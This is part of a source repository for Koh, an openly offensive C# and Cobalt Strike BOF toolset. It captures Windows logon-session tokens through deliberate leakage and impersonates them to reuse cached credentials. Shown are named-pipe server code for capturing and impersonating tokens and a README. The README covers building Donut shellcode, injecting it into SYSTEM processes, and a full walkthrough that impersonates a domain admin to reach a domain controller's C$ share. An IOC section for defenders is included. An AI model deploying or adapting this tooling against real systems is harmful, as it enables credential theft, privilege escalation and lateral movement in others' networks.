149 | responseMsg = "[*] Reset all filtering SIDs";
150 | _filterSids.Clear();
151 | _excludeSids.Clear();
152 | }
153 | }
154 | else if (command == "release")
155 | {
156 | if (_mode == "monitor")
157 | {
158 | responseMsg = $"[X] Cannot release tokens in monitor mode";
159 | }
160 | // releases all tokens/sessions, or a token for a specified LUID
161 | if ((parts.Length == 3) && (_mode == "capture"))
162 | {
163 | ulong luid = 0;
164 | if (parts[2].ToLower() == "all")
165 | {
166 | // "release all" -> release all tokens
167 |
168 | foreach (var capturedSession in _capturedSessions)
169 | {
170 | Interop.CloseHandle(capturedSession.Value.TokenHandle);
171 | }
172 | _capturedSessions.Clear();
173 | responseMsg = $"[*] Released all captured tokens";
174 | }
175 | else if (parts[2].ToLower() == "allbut")
176 | {
177 | // "release all" -> release all tokens except the on for the specific LUID
178 |
179 | if (parts.Length < 4)
180 | {
181 | responseMsg = "[!] Usage: 'release allbut LUID'";
182 | }
183 | else
184 | {
185 | if (ulong.TryParse(parts[4], out luid)) {
186 |
187 | foreach (var capturedSession in _capturedSessions)
188 | {
189 | if (capturedSession.Value.Luid != luid)
190 | {
191 | Interop.CloseHandle(capturedSession.Value.TokenHandle);
192 | Capture.CapturedSession temp = new Capture.CapturedSession();
193 | _capturedSessions.TryRemove(capturedSession.Key, out temp);
194 | }
195 | }
196 |
197 | responseMsg = $"[*] Released all captured tokens except the token for LUID '{parts[3]}'";
198 | }
199 | else
200 | {
201 | responseMsg = "[!] Usage: 'release allbut LUID'";
202 | }
203 | }
204 | }
205 | else if (ulong.TryParse(parts[2], out luid))
206 | {
207 | // release LUID -> release token for specific LUID
208 | foreach (var capturedSession in _capturedSessions)
209 | {
210 | if (capturedSession.Value.Luid == luid)
211 | {
212 | Interop.CloseHandle(capturedSession.Value.TokenHandle);
213 | Capture.CapturedSession temp = new Capture.CapturedSession();
214 | if (_capturedSessions.TryRemove(capturedSession.Key, out temp))
215 | {
216 | responseMsg = $"[*] Released token {capturedSession.Value.TokenHandle} for LUID {capturedSession.Value.Luid}";
217 | }
218 | else
219 | {
220 | responseMsg = $"[!] Error releasing token {capturedSession.Value.TokenHandle} for LUID {capturedSession.Value.Luid} !";
221 | }
222 | }
223 | }
224 | }
225 | }
226 | }
227 | else if (command == "groups")
228 | {
229 | if (_mode == "monitor")
230 | {
231 | responseMsg = $"[X] Cannot list groups in monitor mode";
232 | }
233 | // lists the domain group SIDs for a specified token
234 | if ((parts.Length == 3) && (_mode == "capture"))
235 | {
236 | ulong luid = 0;
237 | if (ulong.TryParse(parts[2], out luid))
238 | {
239 | foreach (var capturedSession in _capturedSessions)
240 | {
241 | if (capturedSession.Value.Luid == luid)
242 | {
243 | List groupSids = Helpers.GetTokenGroups(capturedSession.Value.TokenHandle);
244 | responseMsg = String.Join("\n", groupSids.Where(x => Helpers.IsDomainSid(x)).ToArray());
245 | }
246 | }
247 | }
248 | }
249 | }
250 | else if (command == "impersonate")
251 | {
252 | // impersonate LUID PipeName
253 | if(_mode == "monitor")
254 | {
255 | responseMsg = $"[X] Cannot impersonate in monitor mode";
256 | }
257 | if ((parts.Length == 4) && (_mode == "capture"))
258 | {
259 | ulong luid = 0;
260 | if (ulong.TryParse(parts[2], out luid))
261 | {
262 | string pipeName = parts[3];
263 | responseMsg = "[!] LUID not found!";
264 | foreach (var capturedSession in _capturedSessions)
265 | {
266 | if (capturedSession.Value.Luid == luid)
267 | {
268 | bool success = Interop.ImpersonateLoggedOnUser(capturedSession.Value.TokenHandle);
269 | if (success)
270 | {
271 | responseMsg = $"[*] Impersonating token {capturedSession.Value.TokenHandle} for LUID {capturedSession.Value.Luid} to {pipeName}";
272 |
273 | // 0x80000000 | 0x40000000 -> GENERIC_READ | GENERIC_WRITE
274 | // 3 -> OPEN_EXISTING
275 | Thread.Sleep(1000);
276 | IntPtr hPipe = Interop.CreateFile($"{pipeName}", 0x80000000 | 0x40000000, 0, 0, 3, 0, 0);
277 |
278 | if (hPipe.ToInt64() == -1)
279 | {
280 | var ex = new Win32Exception(Marshal.GetLastWin32Error());
281 | Console.WriteLine($" [X] Error conecting to {pipeName} : {ex.Message} ({ex.ErrorCode})");
282 | }
283 | else
284 | {
285 | // write a single byte out so we can fulfil the ReadFile() requirement on the other side of the pipe
286 | byte[] bytes = new byte[1];
287 | uint written = 0;
288 | Interop.WriteFile(hPipe, bytes, (uint)bytes.Length, out written, IntPtr.Zero);
289 | Thread.Sleep(500);
290 | }
291 |
292 | Interop.RevertToSelf();
293 | }
294 | else
295 | {
296 | responseMsg = $"[!] Error impersonating token {capturedSession.Value.TokenHandle} for LUID {capturedSession.Value.Luid} to pipe {pipeName}";
297 | }
298 | }
299 | }
300 | }
301 | }
302 | }
303 | else if (command == "exit")
304 | {
305 | responseMsg = $"[*] Koh is exiting...";
306 | _meta["SignalExit"] = 1;
307 | }
308 |
309 | if (command != "impersonate")
310 | {
311 | byte[] outBuffer = System.Text.Encoding.ASCII.GetBytes(responseMsg);
312 | pipeStream.Write(outBuffer, 0, responseMsg.Length);
313 | }
314 | }
315 | }
316 |
317 | if (_debug)
318 | {
319 | Console.WriteLine($"DEBUG ({DateTime.Now}) Response: {responseMsg}");
320 | }
321 |
322 | try
323 | {
324 | pipeStream.Close();
325 | }
326 | catch { }
327 | try
328 | {
329 | pipeStream.Dispose();
330 | }
331 | catch { }
332 | }
333 |
334 | public void ProcessNextClient()
335 | {
336 | try
337 | {
338 | PipeSecurity pipeSecurity = new PipeSecurity();
339 | pipeSecurity.SetAccessRule(new PipeAccessRule("Everyone", PipeAccessRights.ReadWrite, System.Security.AccessControl.AccessControlType.Allow));
340 |
341 | NamedPipeServerStream pipeStream = new NamedPipeServerStream(
342 | _pipeName,
343 | PipeDirection.InOut,
344 | -1,
345 | PipeTransmissionMode.Message,
346 | PipeOptions.Asynchronous,
347 | 4096,
348 | 4096,
349 | pipeSecurity);
350 |
351 | pipeStream.WaitForConnection();
352 |
353 | // Spawn a new thread for each request and continue waiting
354 | Thread t = new Thread(ProcessClientThread);
355 | t.Start(pipeStream);
356 | t.Join();
357 | }
358 | catch
359 | {
360 | }
361 | }
362 | }
363 | }
364 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Koh
2 |
3 | ----
4 |
5 | Koh is a C# and Beacon Object File (BOF) toolset that allows for the capture of user credential material via purposeful token/logon session leakage.
6 |
7 | Some code was inspired by [Elad Shamir](https://twitter.com/elad_shamir)'s [Internal-Monologue](https://github.com/eladshamir/Internal-Monologue) project (no license), as well as [KB180548](https://mskb.pkisolutions.com/kb/180548). For why this is possible and Koh's approeach, see the [Technical Background](#technical-background) section of this README.
8 |
9 | For a deeper explanation of the motivation behind Koh and its approach, see the [Koh: The Token Stealer](https://posts.specterops.io/koh-the-token-stealer-41ca07a40ed6) post.
10 |
11 | [@harmj0y](https://twitter.com/harmj0y) is the primary author of this code base. [@tifkin_](https://twitter.com/tifkin_) helped with the approach, BOF implementation, and some token mechanics.
12 |
13 | Koh is licensed under the BSD 3-Clause license.
14 |
15 | ## Table of Contents
16 |
17 | - [Koh](#koh)
18 | - [Table of Contents](#table-of-contents)
19 | - [Koh Server](#koh-server)
20 | - [Compilation](#compilation)
21 | - [Usage](#usage)
22 | - [Example - Listing Logon Sessions](#example---listing-logon-sessions)
23 | - [Example - Monitoring for Logon Sessions (with group SID filtering)](#example---monitoring-for-logon-sessions-with-group-sid-filtering)
24 | - [Koh Client](#koh-client)
25 | - [Usage](#usage-1)
26 | - [Group SID Filtering](#group-sid-filtering)
27 | - [Example - Capture](#example---capture)
28 | - [Technical Background](#technical-background)
29 | - [Why This Is Possible](#why-this-is-possible)
30 | - [Approach](#approach)
31 | - [Possible Approaches](#possible-approaches)
32 | - [Our Approach](#our-approach)
33 | - [Advantages/Disadvantages Versus Traditional Credential Extraction](#advantages-disadvantages-versus-traditional-credential-extraction)
34 | - [Advantages](#advantages)
35 | - [Disadvantages](#disadvantages)
36 | - [The Inline Shenanigans Bug](#the-inline-shenanigans-bug)
37 | - [IOCs](#iocs)
38 | - [TODO](#todo)
39 |
40 |
41 | ## Koh Server
42 |
43 | The Koh "server" captures tokens and uses named pipes for control/communication. This can be wrapped in [Donut](https://github.com/TheWover/donut/) and injected into any ~~high-integrity~~ SYSTEM process (see [The Inline Shenanigans Bug](#the-inline-shenanigans-bug)).
44 |
45 | ## Compilation
46 |
47 | We are not planning on releasing binaries for Koh, so you will have to compile yourself :)
48 |
49 | Koh has been built against .NET 4.7.2 and is compatible with Visual Studio 2019 Community Edition. Simply open up the project .sln, choose "Release", and build. The `Koh.exe` assembly and `Koh.bin` [Donut-built](https://github.com/TheWover/donut) PIC will be be output to the main directory. The Donut blob is both x86/x64 compatible, and is built with the following options using v0.9.3 of Donut at `./Misc/Donut.exe`:
50 |
51 | ```
52 | [ Instance type : Embedded
53 | [ Entropy : Random names + Encryption
54 | [ Compressed : Xpress Huffman
55 | [ File type : .NET EXE
56 | [ Parameters : capture
57 | [ Target CPU : x86+amd64
58 | [ AMSI/WDLP : abort
59 | ```
60 |
61 | Donut's license is BSD 3-clause.
62 |
63 | ### Usage
64 |
65 | `Koh.exe Koh.exe [GroupSID... GroupSID2 ...]`
66 |
67 | * **list** - lists (non-network) logon sessions
68 | * **monitor** - monitors for new/unique (non-network) logon sessions
69 | * **capture** - captures one unique token per SID found for new (non-network) logon sessions
70 |
71 | Group SIDs can be supplied command line as well, causing Koh to monitor/capture only logon sessions that contain the specified group SIDs in their negotiated token information.
72 |
73 | ### Example - Listing Logon Sessions
74 |
75 | ```
76 | C:\Temp>Koh.exe list
77 |
78 | __ ___ ______ __ __
79 | | |/ / / __ \ | | | |
80 | | ' / | | | | | |__| |
81 | | < | | | | | __ |
82 | | . \ | `--' | | | | |
83 | |__|\__\ \______/ |__| |__|
84 | v1.0.0
85 |
86 |
87 | [*] Command: list
88 |
89 | [*] Elevated to SYSTEM
90 |
91 |
92 | [*] New Logon Session - 6/22/2022 2:51:46 PM
93 | UserName : THESHIRE\testuser
94 | LUID : 207990196
95 | LogonType : Interactive
96 | AuthPackage : Kerberos
97 | User SID : S-1-5-21-937929760-3187473010-80948926-1119
98 | Origin LUID : 1677733 (0x1999a5)
99 |
100 | [*] New Logon Session - 6/22/2022 2:51:46 PM
101 | UserName : THESHIRE\DA
102 | LUID : 81492692
103 | LogonType : Interactive
104 | AuthPackage : Negotiate
105 | User SID : S-1-5-21-937929760-3187473010-80948926-1145
106 | Origin LUID : 1677765 (0x1999c5)
107 |
108 | [*] New Logon Session - 6/22/2022 2:51:46 PM
109 | UserName : THESHIRE\DA
110 | LUID : 81492608
111 | LogonType : Interactive
112 | AuthPackage : Kerberos
113 | User SID : S-1-5-21-937929760-3187473010-80948926-1145
114 | Origin LUID : 1677765 (0x1999c5)
115 |
116 | [*] New Logon Session - 6/22/2022 2:51:46 PM
117 | UserName : THESHIRE\harmj0y
118 | LUID : 1677733
119 | LogonType : Interactive
120 | AuthPackage : Kerberos
121 | User SID : S-1-5-21-937929760-3187473010-80948926-1104
122 | Origin LUID : 999 (0x3e7)
123 |
124 | ```
125 |
126 | ### Example - Monitoring for Logon Sessions (with group SID filtering)
127 |
128 | Only lists results that have the domain admins (-512) group SID in their token information:
129 |
130 | ```
131 | C:\Temp>Koh.exe monitor S-1-5-21-937929760-3187473010-80948926-512
132 |
133 | __ ___ ______ __ __
134 | | |/ / / __ \ | | | |
135 | | ' / | | | | | |__| |
136 | | < | | | | | __ |
137 | | . \ | `--' | | | | |
138 | |__|\__\ \______/ |__| |__|
139 | v1.0.0
140 |
141 |
142 | [*] Command: monitor
143 |
144 | [*] Starting server with named pipe: imposecost
145 |
146 | [*] Elevated to SYSTEM
147 |
148 | [*] Targeting group SIDs:
149 | S-1-5-21-937929760-3187473010-80948926-512
150 |
151 | [*] New Logon Session - 6/22/2022 2:52:17 PM
152 | UserName : THESHIRE\DA
153 | LUID : 81492692
154 | LogonType : Interactive
155 | AuthPackage : Negotiate
156 | User SID : S-1-5-21-937929760-3187473010-80948926-1145
157 | Origin LUID : 1677765 (0x1999c5)
158 |
159 | [*] New Logon Session - 6/22/2022 2:52:17 PM
160 | UserName : THESHIRE\DA
161 | LUID : 81492608
162 | LogonType : Interactive
163 | AuthPackage : Kerberos
164 | User SID : S-1-5-21-937929760-3187473010-80948926-1145
165 | Origin LUID : 1677765 (0x1999c5)
166 |
167 | [*] New Logon Session - 6/22/2022 2:52:17 PM
168 | UserName : THESHIRE\harmj0y
169 | LUID : 1677733
170 | LogonType : Interactive
171 | AuthPackage : Kerberos
172 | User SID : S-1-5-21-937929760-3187473010-80948926-1104
173 | Origin LUID : 999 (0x3e7)
174 |
175 | ```
176 |
177 |
178 | ## Koh Client
179 |
180 | The current usable client is a Beacon Object File at `.\Clients\BOF\`. Load the `.\Clients\BOF\KohClient.cna` aggressor script in your Cobalt Strike client to enable BOF control of the Koh server. The only requirement for using captured tokens is **SeImpersonatePrivilege**. The communication named pipe has an "Everyone" DACL but uses a basic shared password (super securez).
181 |
182 | To compile fresh on Linux using Mingw, see the `.\Clients\BOF\build.sh` script. The only requirement (on Debian at least) should be `apt-get install gcc-mingw-w64`
183 |
184 | ### Usage
185 |
186 | ```
187 | beacon> help koh
188 | koh list - lists captured tokens
189 | koh groups LUID - lists the group SIDs for a captured token
190 | koh filter list - lists the group SIDs used for capture filtering
191 | koh filter add SID - adds a group SID for capture filtering
192 | koh filter remove SID - removes a group SID from capture filtering
193 | koh filter reset - resets the SID group capture filter
194 | koh impersonate LUID - impersonates the captured token with the give LUID
195 | koh release all - releases all captured tokens
196 | koh release LUID - releases the captured token for the specified LUID
197 | koh exit - signals the Koh server to exit
198 | ```
199 |
200 | ### Group SID Filtering
201 |
202 | The `koh filter add S-1-5-21--` command will only capture tokens that contain the supplied group SID. This command can be run multiple times to add additional SIDs for capture. This can help prevent possible stability issues due to a large number of token leaks.
203 |
204 |
205 | ### Example - Capture
206 |
207 | "Captures" logon sessions by negotiating usable tokens for each new session.
208 |
209 | Server:
210 |
211 | ```
212 | C:\Temp>Koh.exe capture
213 |
214 | __ ___ ______ __ __
215 | | |/ / / __ \ | | | |
216 | | ' / | | | | | |__| |
217 | | < | | | | | __ |
218 | | . \ | `--' | | | | |
219 | |__|\__\ \______/ |__| |__|
220 | v1.0.0
221 |
222 |
223 | [*] Command: capture
224 |
225 | [*] Starting server with named pipe: imposecost
226 |
227 | [*] Elevated to SYSTEM
228 |
229 |
230 | [*] New Logon Session - 6/22/2022 2:53:01 PM
231 | UserName : THESHIRE\testuser
232 | LUID : 207990196
233 | LogonType : Interactive
234 | AuthPackage : Kerberos
235 | User SID : S-1-5-21-937929760-3187473010-80948926-1119
236 | Credential UserName : testuser@THESHIRE.LOCAL
237 | Origin LUID : 1677733 (0x1999a5)
238 |
239 | [*] Successfully negotiated a token for LUID 207990196 (hToken: 848)
240 |
241 |
242 | [*] New Logon Session - 6/22/2022 2:53:01 PM
243 | UserName : THESHIRE\DA
244 | LUID : 81492692
245 | LogonType : Interactive
246 | AuthPackage : Negotiate
247 | User SID : S-1-5-21-937929760-3187473010-80948926-1145
248 | Credential UserName : da@THESHIRE.LOCAL
249 | Origin LUID : 1677765 (0x1999c5)
250 |
251 | [*] Successfully negotiated a token for LUID 81492692 (hToken: 976)
252 |
253 |
254 | [*] New Logon Session - 6/22/2022 2:53:01 PM
255 | UserName : THESHIRE\harmj0y
256 | LUID : 1677733
257 | LogonType : Interactive
258 | AuthPackage : Kerberos
259 | User SID : S-1-5-21-937929760-3187473010-80948926-1104
260 | Credential UserName : harmj0y@THESHIRE.LOCAL
261 | Origin LUID : 999 (0x3e7)
262 |
263 | [*] Successfully negotiated a token for LUID 1677733 (hToken: 980)
264 |
265 | ```
266 |
267 | BOF client:
268 |
269 | ```
270 | beacon> shell dir \\dc.theshire.local\C$
271 | [*] Tasked beacon to run: dir \\dc.theshire.local\C$
272 | [+] host called home, sent: 69 bytes
273 | [+] received output:
274 | Access is denied.
275 |
276 | beacon> getuid
277 | [*] Tasked beacon to get userid
278 | [+] host called home, sent: 20 bytes
279 | [*] You are NT AUTHORITY\SYSTEM (admin)
280 |
281 | beacon> koh list
282 | [+] host called home, sent: 6548 bytes
283 | [+] received output:
284 | [*] Using KohPipe : \\.\pipe\imposecost
285 |
286 | [+] received output:
287 |
288 | Username : THESHIRE\localadmin (S-1-5-21-937929760-3187473010-80948926-1000)
289 | LUID : 67556826
290 | CaptureTime : 6/21/2022 1:24:42 PM
291 | LogonType : Interactive
292 | AuthPackage : Negotiate
293 | CredUserName : localadmin@THESHIRE.LOCAL
294 | Origin LUID : 1676720
295 |
296 | Username : THESHIRE\da (S-1-5-21-937929760-3187473010-80948926-1145)
297 | LUID : 67568439
298 | CaptureTime : 6/21/2022 1:24:50 PM
299 | LogonType : Interactive
300 | AuthPackage : Negotiate
301 | CredUserName : da@THESHIRE.LOCAL
302 | Origin LUID : 1677765
303 |
304 | Username : THESHIRE\harmj0y (S-1-5-21-937929760-3187473010-80948926-1104)
305 | LUID : 1677733
306 | CaptureTime : 6/21/2022 1:23:10 PM
307 | LogonType : Interactive
308 | AuthPackage : Kerberos
309 | CredUserName : harmj0y@THESHIRE.LOCAL
310 | Origin LUID : 999
311 |
312 | beacon> koh groups 67568439
313 | [+] host called home, sent: 6548 bytes
314 | [+] received output:
315 | [*] Using KohPipe : \\.\pipe\imposecost
316 |
317 | [+] received output:
318 | S-1-5-21-937929760-3187473010-80948926-513
319 | S-1-5-21-937929760-3187473010-80948926-512
320 | S-1-5-21-937929760-3187473010-80948926-525
321 | S-1-5-21-937929760-3187473010-80948926-572
322 |
323 | beacon> koh impersonate 67568439
324 | [+] host called home, sent: 6548 bytes
325 | [+] received output:
326 | [*] Using KohPipe : \\.\pipe\imposecost
327 |
328 | [+] received output:
329 | [*] Enabled SeImpersonatePrivilege
330 |
331 | [+] received output:
332 | [*] Creating impersonation named pipe: \\.\pipe\imposingcost
333 |
334 | [+] received output:
335 | [*] Impersonation succeeded. Duplicating token.
336 |
337 | [+] received output:
338 | [*] Impersonated token successfully duplicated.
339 |
340 | [+] Impersonated THESHIRE\da
341 |
342 | beacon> getuid
343 | [*] Tasked beacon to get userid
344 | [+] host called home, sent: 20 bytes
345 | [*] You are THESHIRE\DA (admin)
346 |
347 | beacon> shell dir \\dc.theshire.local\C$
348 | [*] Tasked beacon to run: dir \\dc.theshire.local\C$
349 | [+] host called home, sent: 69 bytes
350 | [+] received output:
351 | Volume in drive \\dc.theshire.local\C$ has no label.
352 | Volume Serial Number is A4FF-7240
353 |
354 | Directory of \\dc.theshire.local\C$
355 |
356 | 01/04/2021 11:43 AM inetpub
357 | 05/30/2019 03:08 PM PerfLogs
358 | 05/18/2022 01:27 PM Program Files
359 | 04/15/2021 09:44 AM Program Files (x86)
360 | 03/20/2020 12:28 PM RBFG
361 | 10/20/2021 01:14 PM Temp
362 | 05/23/2022 06:30 PM tools
363 | 03/11/2022 04:10 PM Users
364 | 06/21/2022 01:30 PM Windows
365 | 0 File(s) 0 bytes
366 | 9 Dir(s) 40,504,201,216 bytes free
367 | ```
368 |
369 | ## Technical Background
370 |
371 | When a new logon session is estabslished on a system, a new token for the logon session is created by LSASS using the NtCreateToken() API call and returned by to the caller of LsaLogonUser(). This [increases the ReferenceCount](https://systemroot.gitee.io/pages/apiexplorer/d0/d9/rmlogon_8c-source.html#l00278) field of the logon session kernel structure. When this ReferenceCount reaches 0, the logon session is destroyed. Because of the information described in the [Why This Is Possible](#why-this-is-possible) section, Windows systems **will NOT** release a logon session if a token handle still exists to it (and therefore the reference count != 0).
372 |
373 | So if we can get a handle to a newly created logon session via a token, we can keep that logon session open and later impersonate that token to utilize any cached credentials it contains.
374 |
375 | ### Why This Is Possible
376 |
377 | According [to this post by a Microsoft engineer](https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/using-debugging-tools-to-find-token-and-session-leaks/ba-p/400472):
378 |
379 | ```
380 | After MS16-111, when security tokens are leaked, the logon sessions associated with those security tokens also remain on the system until all associated tokens are closed... even after the user has logged off the system. If the tokens associated with a given logon session are never released, then the system now also has a permanent logon session leak as well.
381 | ```
382 |
383 | [MS16-111](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-111) was applied back to Windows 7/Server 2008, so this approach should be effective for everything except Server 2003 systems.
384 |
385 |
386 | ## Approach
387 |
388 | Enumerating logon sessions is easy (from an elevated context) through the use of the [LsaEnumerateLogonSessions()](https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaenumeratelogonsessions) Win32 API. What is more difficult is taking a specific logon session identifier (LUID) and _somehow_ getting a usable token linked to that session.
389 |
390 | ### Possible Approaches
391 |
392 | We brainstormed a few ways to a) hold open logon sessions and b) abuse this for token impersonation/use of cached credentials.
393 |
394 | 1. The first approach was to use **NtCreateToken()** which allows you to specify a logon session ID (LUID) to create a new token.
395 | * Unfortunately, you need **SeCreateTokenPrivilege** which is traditionally only held by LSASS, meaning you need to steal LSASS' token which isn't ideal.
396 | * One possibility was to add **SeCreateTokenPrivilege** to NT AUTHORITY\SYSTEM via LSA policy modification, but this would need a reboot/new logon session to express the new user rights.
397 | 2. You can also focus on just RemoteInteractive logon sessions by using **WTSQueryUserToken()** to get tokens for new desktop sessions to clone.
398 | * This is the approach apparently [demonstrated by Ryan](https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/using-debugging-tools-to-find-token-and-session-leaks/ba-p/400472).
399 | * Unfortunately this misses newly created local sessions and incoming sessions created from things like PSEXEC.
400 | 3. On a new logon session, open up a handle to every reachable process and enumerate all existing handles, cloning the token linked to the new logon session.
401 | * This requires opening up lots of processes/handles, which looks very suspicious.
402 | 4. The **AcquireCredentialsHandle()**/**InitializeSecurityContext()**/**AcceptSecurityContext()** approach described below, which is what we went with.
403 |
404 | ### Our Approach
405 |
406 | The SSPI [AcquireCredentialsHandle()](https://docs.microsoft.com/en-us/windows/win32/secauthn/acquirecredentialshandle--negotiate) call has a **pvLogonID** field which states:
407 | ```
408 | A pointer to a locally unique identifier (LUID) that identifies the user. This parameter is provided for file-system processes such as network redirectors.
409 | ```
410 |
411 | **Note:** In order to utilize a logon session LUID with **AcquireCredentialsHandle()** you need **SeTcbPrivilege**, however this is usually easier to get than **SeCreateTokenPrivilege**.
412 |
413 | Using this call while specifying a logon session ID/LUID appears to increase the ReferenceCount for the logon session structure, preventing it from being released. However, we're not presented with another problem: given a "leaked"/held open logon session, how do we get a usable token from it? **WTSQueryUserToken()** only works with desktop sessions, and there's no userland API that we could find that lets you map a LUID to a usable token.
414 |
415 | _However_ we can use two additional SSPI functions, [InitializeSecurityContext()](https://docs.microsoft.com/en-us/windows/win32/secauthn/initializesecuritycontext--negotiate) and [AcceptSecurityContext()](https://docs.microsoft.com/en-us/windows/win32/secauthn/acceptsecuritycontext--negotiate) to act as client and server to ourselves, negotiating a new security context that we can then use with [QuerySecurityContextToken()](https://docs.microsoft.com/en-us/windows/win32/api/sspi/nf-sspi-querysecuritycontexttoken) to get a usable token. This was documented in KB180548 ([mirrored by PKISolutions here](https://mskb.pkisolutions.com/kb/180548)) for the purposes of credential validation. This is a similar approach to [Internal-Monologue](https://github.com/eladshamir/Internal-Monologue), except we are completing the entire handshake process, producing a token, and then holding that for later use.
416 |
417 | Filtering can then be done on the token itself, via [CheckTokenMembership()](https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-checktokenmembership) or [GetTokenInformation()](https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-gettokeninformation). For example, we could release any tokens except for ones belonging to domain admins, or specific groups we want to target.
418 |
419 |
420 | ### Advantages/Disadvantages Versus Traditional Credential Extraction
421 |
422 | #### Advantages
423 | * Works for both local and inbound (non-network) logons.
424 | * Works for inbound sessions created via Kerberos and NTLM.
425 | * Doesn’t require opening up a handle to multiple processes.
426 | * Doesn't create a new logon event or logon session.
427 | * Doesn't create additional event logs on the DC outside of normal system ticket renewal behavior (I don't think?)
428 | * No default lifetime on the tokens (I don't think?) so _access_ should work as long as the captured account’s credentials don't change and the system doesn’t reboot.
429 | * Reuses legitimate captured auth on a system, so should "blend with the noise" reasonably well.
430 |
431 |
432 | #### Disadvantages
433 | * Access is only usable as long as the system doesn't reboot.
434 | * Doesn't let you reuse access on other systems
435 | * However, and existing ticket/credential extraction can still be done on the leaked logon session.
436 | * May cause instability if a large number of sessions are leaked (though this can be mitigated with token group SID filtering) and restricting the maximum number of captured tokens (default of 1000 here).
437 |
438 |
439 | ## The Inline Shenanigans Bug
440 |
441 | I've been coding for a decent amount of time. This is one of the weirder and frustrating-to-track-down bugs I've hit in a while - please help me with this lol.
442 |
443 | * When the Koh.exe assembly is run from an elevated (but non-SYSTEM) context, everything works properly.
444 |
445 | * If the Koh.exe assembly is run via Cobalt Strike's Beacon fork&run process with `execute-assembly` from an elevated (but non-SYSTEM) context, everything works properly.
446 |
447 | * If the Koh.exe assembly is run _inline_ (via [InlineExecute-Assembly](https://github.com/anthemtotheego/InlineExecute-Assembly) or [Inject-Assembly](https://github.com/kyleavery/inject-assembly)) for a Cobalt Strike Beacon that's running in a SYSTEM context, everything works properly.
448 |
449 | * **However** If the Koh.exe assembly is run _inline_ (via [InlineExecute-Assembly](https://github.com/anthemtotheego/InlineExecute-Assembly) or [Inject-Assembly](https://github.com/kyleavery/inject-assembly)) for a Cobalt Strike Beacon that's running in an elevated, but not SYSTEM, context, the call to AcquireCredentialsHandle() fails with `SEC_E_NO_CREDENTIALS` and everything fails ¯\\\_(ツ)\_/¯
450 |
451 | We have tried (with no success):
452 | * Spinning off everything to a separate thread, specifying a STA thread apartment.
453 | * Trying to diagnose RPC weirdness (still more to investigate here).
454 | * Using DuplicateTokenEx and SetThreadToken instead of ImpersonateLoggedOnUser.
455 | * Checking if we have the proper SeTcbPrivilege right before the AcquireCredentialsHandle call (we do).
456 |
457 | For all intents and purposes, the thread context right before the call to AcquireCredentialsHandle works in this context, but the result errors out. **And we have no idea why.**
458 |
459 | If you have an idea of what this might be, please let us know! And if you want to try playing around with a simpler assembly, check out the [AcquireCredentialsHandle](https://github.com/harmj0y/AcquireCredentialsHandle) repo on my GitHub for troubleshooting.
460 |
461 |
462 | ## IOCs
463 |
464 | To quote [@tifkin_](https://twitter.com/tifkin_) _"Everything is stealthy until someone is looking for it."_ While Koh's approach is slightly different than others, there are still IOCs that can be used to detect it.
465 |
466 | The unique TypeLib GUID for the C# Koh collector is `4d5350c8-7f8c-47cf-8cde-c752018af17e` as detailed in the Koh.yar Yara rule in this repo. If this is not changed on compilation, it should be a very high fidelity indicator of the Koh server.
467 |
468 | When the Koh server starts is opens up a named pipe called `\\.\pipe\imposecost` that stays open as long as Koh is running. The default password used for Koh communication is `password`, so sending `password list` to any `\\.\pipe\imposecost` pipe will let you confirm if Koh is indeed running. The default impersonation pipe used is `\\.pipe\imposingcost`.
469 |
470 | If Koh starts in an elevated context but not as SYSTEM, a handle/token clone of `winlogon` is performed to perform a `getsystem` type elevation.
471 |
472 | I'm sure that no attackers will change the indicators mentioned above.
473 |
474 | There are likely some RPC artifacts for the token capture that we're hoping to investigate. We will update this section of the README if we find any additional detection artifacts along these lines. Hooking of some of the possibly-uncommon APIs used by Koh ([LsaEnumerateLogonSessions](https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaenumeratelogonsessions) or the specific AcquireCredentialsHandle/InitializeSecurityContext/AcceptSecurityContext, specifically using a LUID in [AcquireCredentialsHandle](https://docs.microsoft.com/en-us/windows/win32/secauthn/acquirecredentialshandle--general)) could be explored for effectiveness, but alas, I am not an EDR.
475 |
476 | ## TODO
477 |
478 | * Additional testing in the lab and field. Possible concerns:
479 | * Stability in production environments, specifically intentional token leakage causing issues on highly-trafficked servers
480 | * Total actual effective token lifetime
481 | * "Remote" client that allows for monitoring through the Koh named pipe remotely
482 | * Implement more clients (PowerShell, C#, C++, etc.)
483 | * Fix the [Inline Shenanigans Bug](#the-inline-shenanigans-bug)
484 |
--------------------------------------------------------------------------------